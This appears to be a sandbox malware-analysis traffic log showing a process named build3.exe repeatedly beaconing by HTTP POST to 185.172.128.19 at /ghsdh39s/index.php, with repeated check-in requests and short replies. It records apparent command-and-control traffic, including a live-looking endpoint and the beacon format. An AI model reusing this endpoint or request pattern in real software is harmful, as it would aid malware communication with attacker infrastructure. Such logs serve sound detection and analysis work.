Dec 20, 2023 15:35:51.274234056 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:51.575871944 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49824	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:52.033310890 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:52.321794987 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:35:52.367176056 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:52.657756090 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49826	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:53.092677116 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:53.399218082 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:35:53.406793118 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:53.697130919 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49828	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:54.110264063 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:54.411997080 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:35:54.426630020 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:54.724452972 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49829	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:55.153505087 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:55.445633888 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:35:55.457176924 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:55.751173973 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49832	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:56.189089060 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:56.493375063 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:35:56.494194031 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:56.790853024 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49835	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:57.202142954 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:57.511274099 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:35:57.517479897 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:57.811875105 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49837	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:58.228097916 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:58.546577930 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:35:58.548806906 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:58.844047070 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49839	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:59.256587029 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:59.560859919 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:35:59.562061071 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:59.875864029 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49840	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:00.296195984 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:00.594585896 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:36:00.624742031 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:00.919035912 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49842	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:01.373759985 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:01.665904045 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:36:01.733537912 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:02.027786970 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49843	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:03.448412895 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:03.746480942 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:36:03.753197908 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:04.050153017 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49844	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:06.054244995 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:06.345871925 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:36:06.359502077 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:06.653431892 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49845	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:08.108665943 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:08.407320023 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
